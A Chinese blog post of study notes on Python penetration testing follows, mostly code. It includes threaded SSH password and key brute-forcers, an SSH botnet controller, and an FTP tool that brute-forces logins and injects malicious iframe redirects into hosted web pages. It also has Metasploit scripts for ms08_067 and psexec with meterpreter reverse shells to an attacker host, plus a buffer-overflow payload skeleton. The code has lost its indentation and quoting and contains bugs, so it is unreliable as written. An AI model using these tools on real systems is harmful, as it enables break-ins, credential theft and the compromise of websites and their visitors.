用 Python 进行渗透测试

用 Python 进行渗透测试
编写一个端口扫描器
Python 提供了访问 BSD 套接字的接口

Web 服务器可能位于 TCP 80 端口、电子邮件服务器在 TCP 25 端口、FTP 服务器在 TCP 21 端口

TCP 全连接扫描
为了抓取目标主机上应用的 Banner,找到开放的端口后,向它发送一个数据串并等待响应

#!/bin/env python3

-- coding: utf-8 --

version: Python3.X

“”"
2017.01.29 按照第 2 章编写一个端口扫描器
“”"
import optparse
import socket

author = ‘__L1n__w@tch’

def initialize():
parser = optparse.OptionParser(“usage %prog -H -p ”)

parser.add_option("-H", dest="target_host", type=str, help="specify target host")
parser.add_option("-p", dest="target_port", type=int, help="specify target port")

options, args = parser.parse_args()

target_host = options.target_host
target_port = options.target_port

if target_host is None or target_port is None:
    print(parser.usage)
    exit(-1)

return target_host, target_port

def connect_scan(target_host, target_port):
“”"
TCP 全连接扫描
:param target_host: 目标主机
:param target_port: 目标端口
:return:
“”"
try:
conn_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn_sock.connect((target_host, target_port))
print(“[+] {}/tcp open”.format(target_port))

    conn_sock.send(b"Violent Python")
    results = conn_sock.recv(1024)
    print("[+] Get Response: {}".format(results))
    conn_sock.close()
except socket.timeout:
    print("[-] {}/tcp closed".format(target_port))

def port_scan(target_host, target_ports):
“”"
执行端口扫描操作
:param target_host: 目标主机
:param target_ports: 目标端口列表
:return:
“”"
try:
target_ip = socket.gethostbyname(target_host)
except RuntimeError:
print(“[-] Can not resolve {}: Unknown host”.format(target_host))
return

try:
    target_name = socket.gethostbyaddr(target_ip)
    print("[+] Scan results for {}".format(target_name[0]))
except RuntimeError:
    print("[+] Scan Results for {}".format(target_ip))

socket.setdefaulttimeout(1)

for target_port in target_ports:
    print("[*] Scanning port {}".format(target_port))
    connect_scan(target_host, target_port)

if name == “main”:
host, port = initialize()
port_scan(host, [port])
线程扫描
多线程可以提升速度,但是有一个缺点,屏幕打印消息可能会出现乱码和失序。因此需要信号量来进行加解锁,在打印消息前使用 acquire(),打印结束后使用 release()

screen_lock = Semaphore(value=1)
try:
screen_lock.acquire()
print(“print anything”)
finally:
screen_lock.release()
使用 NMAP 端口扫描代码
除了 TCP 连接扫描外,还需要其他类型的扫描,比如 ACK、RST、FIN 或 SYN-ACK 扫描等

Fyodor Vaskovich 编写的 Nmap 能使用 C 和 Lua 编写的脚本,但是 Nmap 还能被很好地整合到 Python 中。Nmap 可以生成基于 XML 的输出。

其他端口扫描类型
TCP SYN SCAN——半开放扫描,这种类型的扫描发送一个 SYN 包,启动一个 TCP 会话,并等待响应的数据包。如果收到的是一个 reset 包,表明端口是关闭的,而如果收到的是一个 SYN/ACK 包,则表示相应的端口是打开的
TCP NULL SCAN——NULL 扫描把 TCP 头中的所有标志位都设为 NULL。如果收到的是一个 RST 包,则表示相应的端口是关闭的
TCP FIN SCAN——TCP FIN 扫描发送一个表示拆除一个活动的 TCP 连接的 FIN 包,让对方关闭连接。如果收到了一个 RST 包,则表示相应的端口是关闭的
TCP XMAS SCAN——TCP XMAS 扫描发送 PSH、FIN、URG 和 TCP 标志位被设为 1 的数据包。如果收到了一个 RST 包,则表示相应的端口是关闭的
安装好 Python-Nmap 之后,就可以将 Nmap 导入到现有的脚本中,并在 Python 中直接使用 Nmap 扫描功能。创建一个 PortScanner() 类对象,则可以用这个对象完成扫描操作。PortScanner 类有一个 scan() 函数,它可将目标和端口的列表作为参数输入,并对它们进行基本的 Nmap 扫描。

import nmap

def nmap_scan(target_host, target_port):
nm_scan = nmap.PortScanner()
nm_scan.scan(target_host, target_port)
state = nm_scan[target_host][“tcp”][int(target_port)][“state”]
print(“[*] {} tcp/{} {}”.format(target_host, target_port, state))
用 Python 构建一个 SSH 僵尸网络
Morris 蠕虫有三种攻击方式,其中之一就是用常见的用户名和密码尝试登录 RSH 服务(remote shell)。RSH 是 1988 年问世的,它为系统管理员提供了一种很棒的远程连接一台机器,并能在主机上运行一系列终端命令对它进行管理的办法。

后来人们在 RSH 中增加一个公钥加密算法,以保护其经过网络传递的数据,这就是 SSH(Secure Shell)协议,最终 SSH 取代了 RSH。

SSH 蠕虫已经被证明是非常成功的和常见的攻击方式

用 Pexpect 与 SSH 交互
为了能完成控制台交互过程,需要用 Pexpect 模块实现与程序交互、等待预期的屏幕输出等。

以下实现 connect() 函数,该函数接收用户名、主机名和密码,返回此 SSH 连接的结果。

一旦通过验证,就可以使用一个单独的 command() 函数在 SSH 会话中发送命令。

【PS】下面这个在 macOSX 上就没跑通过,相关问题链接

import pexpect

PROMPT = ["# ", ">>> ", "> ", "$ "]

def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print(child.before)

def connect(user, host, password):
ssh_new_key = “Are you sure you want to continue connecting\n”
conn_str = “ssh {}@{}\n”.format(user, host)
child = pexpect.spawn(conn_str)
ret = child.expect([pexpect.TIMEOUT, ssh_new_key, “{}@{}'s password:”.format(user, host)])

if ret == 0:
    print("[-] Error Connecting")
    exit(-1)
elif ret == 1:
    child.sendline("yes")
    ret = child.expect([pexpect.TIMEOUT, "[P|p]assword:"])
    if ret == 0:
        print("[-] Error Connecting")
        exit(-1)
    child.sendline(password)
    child.expect(PROMPT)
    return child
else:
    print(child)
exit(-1)

if name == “main”:
child = connect(“root”, “192.168.158.157”, “toor”)
send_command(child, “cat /etc/shadow | grep root”)
用 Pxssh 暴力破解 ssh 密码
Pxssh 导入方式:import pexpect.pxssh

Pxssh 是一个包含了 pexpect 库的专用脚本,它能用预先写好的 login()、logout() 和 prompt() 等函数直接与 SSH 进行交互。

【PS】以下仅实现了连接功能,但是依旧连接不上,问题同上。

import pexpect.pxssh as pxssh
import traceback

def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print(s.before)

def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
return s
except Exception as e:
traceback.print_exc()
print(“[-] Error Connecting”)
exit(-1)

if name == “main”:
ssh = connect(“localhost”, “root”, “Lin982674”)
send_command(ssh, “cat /etc/shadow | grep root”)
接下来稍微修改下 connect() 函数即可实现爆破。如果异常显示 socket 为 read_nonblocking,可能是 SSH 服务器被大量的连接刷爆了;如果该异常显示 pxssh 命令提示符提取困难,可以等一会再试。这里实现的 connect() 可以递归地调用另一个 connect() 函数,所以必须让只有不是由 connect() 递归调用的 connect() 函数才能够释放 connection_lock 信号,书中给的最终脚本如下:

import pexpect.pxssh as pxssh
import optparse
import time
import threading

max_connections = 5
connection_lock = threading.BoundedSemaphore(value=max_connections)
found = False
fails = 0

def connect(host, user, password, release):
global found, fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print(“[+] Password Found: {}”.format(password))
found = True
except Exception as e:
if “read_nonblocking” in str(e):
fails += 1
time.sleep(5)
connect(host, user, password, False)
elif “synchronize with original prompt” in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()

def main():
parser = optparse.OptionParser(“usage %prog -H -u -F ”)
parser.add_option(“-H”, dest=“target_host”, type=str, help=“specifiy target host”)
parser.add_option(“-F”, dest=“password_file”, type=str, help=“specifiy password file”)
parser.add_option(“-u”, dest=“user”, type=str, help=“specifiy the user”)

options, args = parser.parse_args()
target_host = options.target_host
password_file = options.password_file
user = options.user

if target_host is None or password_file is None or user is None:
    print(parser.usage)
    exit(-1)

with open(password_file, "r") as f:
    for line in f.readlines():
        if found:
            print("[*] Exiing: Password Found")
            exit(0)
        if fails > 5:
            print("[!] Exiting: Too Many Socket Timeouts")
            exit(-1)
        connection_lock.acquire()
        password = line.strip("\r\n")
        print("[-] Testing: {}".format(password))
        t = threading.Thread(target=connect, args=(host, user, password, True))
        child = t.start()

if name == “main”:
main()
iPhone 设备上 root 用户的默认密码为:alpine,当设备越狱后,用户会在 iPhone 上启用一个 OpenSSH 服务

利用 SSH 中的弱私钥
对于 SSH 服务器,密码验证并不是唯一的手段。除此之外,SSH 还能使用公钥加密的方式进行验证。在使用这一验证方法时,服务器和用户分别掌握公钥和私钥。使用 RSA 或是 RSA 算法,服务器能生成用于 SSH 登录的密钥。

不过,2006 年 Debian Linux 发行版中发生了一件有意思的事。软件自动分析工具发现了一行已被开发人员注释掉的代码。这行被注释掉的代码用来确保创建 SSH 密钥的信息量足够大。被注释掉之后,密钥空间的大小的熵值降低到只有 15 位大小。此时可能的密钥只有 32767 个。Rapid7 的 CSO 和 HD Moore 在两个小时内生成了所有的 1024 位和 2048 位算法的可能的密钥。而且,把结果放在了网上中,大家都可以下载使用。

由此可以进行暴力破解,在使用密钥登录 SSH 时,需要键入 ssh user@host -i keyfile -o PasswordAuthentication=no 格式的一条命令。DEMO 代码如下:

import pexpect
import optparse
import os
import threading

max_connections = 5
connection_lock = threading.BoundedSemaphore(value=max_connections)
stop = False
fails = 0

def connect(user, host, key_file, release):
global stop, fails
try:
perm_denied = “Permission denied”
ssh_new_key = “Are you sure you want to continue”
conn_closed = “Connection closed by remote host”

    opt = " -o PasswordAuthentication=no"
    conn_str = "ssh {}@{} -i {}{}".format(user, host, key_file, opt)
    child = pexpect.spawn(conn_str)
    ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_new_key, conn_closed, "$", "#", ])
    if ret == 2:
        print("[-] Adding Host to !/.ssh/known_hosts")
        child.sendline("yes")
        connect(user, host, key_file, False)
    elif ret == 3:
        print("[-] Connection Closed By Remote Host")
        fails += 1
    elif ret > 3:
        print("[+] Success. {}".format(key_file))
        stop = True
finally:
    if release:
        connection_lock.release()

def main():
parser = optparse.OptionParser(“usage %prog -H <target_host> -u -d ”)
parser.add_option(“-H”, dest=“target_host”, type=str, help=“specify target host”)
parser.add_option(“-d”, dest=“pass_dir”, type=str, help=“specify directory with keys”)
parser.add_option(“-u”, dest=“user”, type=str, help=“specify the user”)

options, args = parser.parse_args()
target_host = options.target_host
pass_dir = options.pass_dir
user = options.user

if target_host is None or pass_dir is None or user is None:
    print(parser.usage)
    exit(-1)

for file_name in os.listdir(pass_dir):
    if stop:
        print("[*] Exiting: Key Found.")
        exit(0)
    if fails > 5:
        print("[!] Exiting: Too Many Connections Closed By Remote Host.")
        print("[!] Adjust number of simultaneous threads.")
        exit(0)
    connection_lock.acquire()

    full_path = os.path.join(pass_dir, file_name)
    print("[-] Testing keyfile {}".format(full_path))
    t = threading.Thread(target=connect, args=(user, target_host, full_path, True))
    child = t.start()

if name == “main”:
main()
构建 SSH 僵尸网络
每个单独的僵尸或者 client 都需要有能连上某台肉机,并把命令发送给肉机的能力

import optparse
import pexpect.pxssh as pxssh

bot_net = list()

class Client:
def init(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()

def connect(self):
    try:
        s = pxssh.pxssh()
        s.login(self.host, self.user, self.password)
        return s
    except Exception as e:
        print(e)
        print("[-] Error Connecting")

def send_command(self, cmd):
    self.session.sendline(cmd)
    self.session.prompt()
    return self.session.before

def bot_net_command(command):
for client in bot_net:
output = client.send_command(command)
print(“[*] Output from {}”.format(client.host))
print(“[+] {}”.format(output))

def add_client(host, user, password):
client = Client(host, user, password)
bot_net.append(client)

if name == “main”:
add_client(“10.10.10.110”, “root”, “toor”)
add_client(“10.10.10.120”, “root”, “toor”)
add_client(“10.10.10.130”, “root”, “toor”)
bot_net_command(“uname -v”)
bot_net_command(“cat /etc/issue”)
利用 FTP 与 Web 批量抓 “肉机”
用 Python 构建匿名 FTP 扫描器
可以利用 Python 中的 ftplib 库编写一个小脚本,确定一个服务器是否允许匿名登录

import ftplib
def anon_login(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login(“anonymous”, “me@your.com”)
print(“[*] {} FTP Anonymous Logon Succeeded.”.format(host))
ftp.quit()
return True
except Exception as e:
print(“[-] {} FTP Anonymous Logon Failed.”.format(host))
return False

if name == “main”:
host = “192.168.158.161”
anon_login(host)
使用 Ftplib 暴力破解 FTP 用户口令
FileZilla 之类的 FTP 客户端程序往往将密码以明文形式存储在配置文件中

只要将上面的 ftp.login() 替换上对应的用户名和密码就可以验证了

在 FTP 服务器上搜索网页
使用 nlst 函数,这会列出目录中所有文件的命令

dir_list = ftp.nlst()
在网页中加入恶意注入代码
直接使用 metasploit 框架生成:

msfcli exploit/windows/browser/ms10_002_aurora
上传的命令:

ftp.storlines(“STOR {}”.format(page), open(“{}.tmp”.format(page)))
完整的代码 DEMO
虽然很多余,但还是把整个流程打一遍吧

import ftplib
import optparse
import time

def anon_login(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login(“anonymous”, “me@your.com”)
print(“[*] {} FTP Anonymous Logon Succeeded.”.format(hostname))
ftp.quit()
return True
except Exception as e:
print(“[-] {} FTP Anonymous Logon Failed.”.format(hostname))
return False

def brute_login(hostname, password_file):
pf = open(password_file, “r”)
for line in pf.readlines():
time.sleep(1)
user_name = line.split(“:”)[0]
password = line.split(“:”)[1].strip(“\r\n”)
print(“[+] Trying: {}/{}”.format(user_name, password))

    try:
        ftp = ftplib.FTP(hostname)
        ftp.login(user_name, password)
        print("[*] {} FTP Logon Succeeded: {}/{}".format(hostname, user_name, password))
        ftp.quit()
        return user_name, password
    except Exception as e:
        pass
print("[-] Could not brute force FTP credentials.")
return None, None

def return_default(ftp):
dir_list = list()
try:
dir_list = ftp.nlst()
except:
print(“[-] Could not list directory contents.”)
print(“[-] Skipping To Next Target.”)
return dir_list

ret_list = list()
for file_name in dir_list:
    fn = file_name.lower()
    if ".php" in fn or ".htm" in fn or ".asp" in fn:
        print("[+] Found default page: {}".format(file_name))
    ret_list.append(file_name)

return ret_list

def inject_page(ftp, page, redirect):
f = open(“{}.tmp”.format(page), “w”)
ftp.retrlines(“RETR {}”.format(page), f.write)
print(“[+] Downloaded Page: {}”.format(page))
f.write(redirect)
f.close()

print("[+] Injected Malicious IFrame on: {}".format(page))
ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page)))
print("[+] Uploaded Injected Page: {}".format(page))

def attack(username, password, target_host, redirect):
ftp = ftplib.FTP(target_host)
ftp.login(username, password)
def_pages = return_default(ftp)
for def_page in def_pages:
inject_page(ftp, def_page, redirect)

def main():
parser = optparse.OptionParser(“usage%prog -H <target host[s]> -r [-f <user_pass file>]”)

parser.add_option("-H", dest="target_hosts", type=str, help="specify target host")
parser.add_option("-f", dest="password_file", type=str, help="specify user/password file")
parser.add_option("-r", dest="redirect", type=str, help="specify a redirection page")

options, args = parser.parse_args()
target_hosts = str(options.target_hosts).split(", ")
password_file = options.password_file
redirect = options.redirect

if target_hosts is None or redirect is None:
    print(parser.usage)
    exit(-1)

for target_host in target_hosts:
    username, password = None, None
    if anon_login(target_host):
        username, password = "test", "test"
        print("[+] Using Anonymous Creds to attack")
        attack(username, password, target_host, redirect)
    elif password_file is not None:
        username, password = brute_login(target_host, password_file)
        if password is not None:
            print("[+] Using Creds: {}/{} to attack".format(username, password))
            attack(username, password, target_host, redirect)

if name == “main”:
main()
Conficker,为什么努力做就够了
蠕虫病毒,Conficker(或称为 W32DownandUp),在其基本的感染方法中,Conficker 蠕虫使用了两种不同的攻击方法。首先利用了 Windows 服务器中一个服务的 0Day 漏洞。利用这个栈溢出漏洞,蠕虫能在被感染的主机上执行 ShellCode 并下载蠕虫。当这种攻击失败时,Conficker 蠕虫又尝试暴力破解默认的管理员网络共享(ADMIN$)的口令以获取肉机访问权。

使用 Metasploit 攻击 Windows SMB 服务
虽然攻击者可以通过交互驱动的方式使用 Metasploit,但 Metasploit 也能读取批处理脚本(rc)完成攻击。在攻击时,Metasploit 会顺序执行批处理文件中的命令。

use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77
set LPORT 7777
exploit -j -z

msfconsole -r conficker.rc

sessions -i 1
execute -i -f cmd.exe
编写 Python 脚本与 Metasploit 交互
首先需要扫描网段内所有开放 445 端口的主机,TCP 445 端口主要是作为 SMB 协议的默认端口用的

import nmap
def find_target(sub_net):
nm_scan = nmap.PortScanner()
nm_scan.scan(sub_net, “445”)
target_hosts = list()
for host in nm_scan.all_hosts():
if nm_scan[host].has_tcp(445):
state = nm_scan[host][“tcp”][445][“state”]
if state == “open”:
print(“[+] Found Target Host: {}”.format(host))
return target_hosts
接下来需要编写一个监听器,这个监听器或称命令与控制信道,用于与目标主机进行远程交互

Metasploit 提供了一个 Meterpreter 的高级动态负载,当 Meterpreter 进程回连接到攻击者的计算机等候执行进一步的命令时,要使用一个名为 multi/handler 的 Metasploit 模块去发布命令。接下来需要把各条指令写入 Metasploit 的 rc 脚本中

def setup_handler(config_file, lhost, lport):
config_file.write(“use exploit/multi/handler\n”)
config_file.write(“set PAYLOAD windows/meterpreter/reverse_tcp\n”)
config_file.write(“set LPORT {}\n”.format(lport))
config_file.write(“set LHOST {}\n”.format(lhost))
config_file.write(“exploit -j -z\n”)
config_file.write(“setg DisablePayloadHandler 1\n”)
注意脚本发送了一条指令:在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用目标计算机上的漏洞

def conficker_exploit(config_file, target_host, lhost, lport):
config_file.write(“use exploit/windows/smb/ms08_067_netapi\n”)
config_file.write(“set RHOST {}\n”.format(target_host))
config_file.write(“set PAYLOAD windows/meterpreter/reverse_tcp\n”)
config_file.write(“set LPORT {}\n”.format(lport))
config_file.write(“set LHOST {}\n”.format(lhost))
config_file.write(“exploit -j -z\n”)
暴力破解口令,远程执行一个进程
需要用暴力攻击的方式破解 SMB 用户名/密码,以此获取权限在目标主机上远程执行一个进程(psexec)

def smb_brute(config_file, target_host, passwd_file, lhost, lport):
username = “Administrator”
pf = open(passwd_file, “r”)
for password in pf.readlines():
password = password.strip(“\r\n”)
config_file.write(“use exploit/windows/smb/psexec\n”)
config_file.write(“set SMBUser {}\n”.format(username))
config_file.write(“set SMBPass {}\n”.format(password))
config_file.write(“set RHOST {}\n”)
config_file.write(“set PAYLOAD windows/meterpreter/reverse_tcp\n”)
config_file.write(“set LPORT {}\n”.format(lport))
config_file.write(“set LHOST {}\n”.format(lhost))
config_file.write(“exploit -j -z\n”)
整合
最主要的是 main 函数如何与 metasploit 交互,发现是通过 rc 文件

config_file = open(“meta.rc”, “w”)

os.system(“msfconsole -r meta.rc”)
编写你自己的 0day 概念验证代码
Morris 蠕虫成功的原因在某种程度上其实就是利用了 Finger service 中的一个基于栈的缓冲区溢出

基于栈的缓冲区溢出攻击
shellcode = (“\xbf\x5c…”)
overflow = “\x41” * 246
ret = struct.pack(“<L”, 0x7c874413)
padding = “\x90” * 150
crash = overflow + ret + padding + shellcode
发送漏洞利用代码
使用 Berkeley Socket API 发送,其实就是套接字发送,之前在学校课程已经接触过了,不记录了

  • 13
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值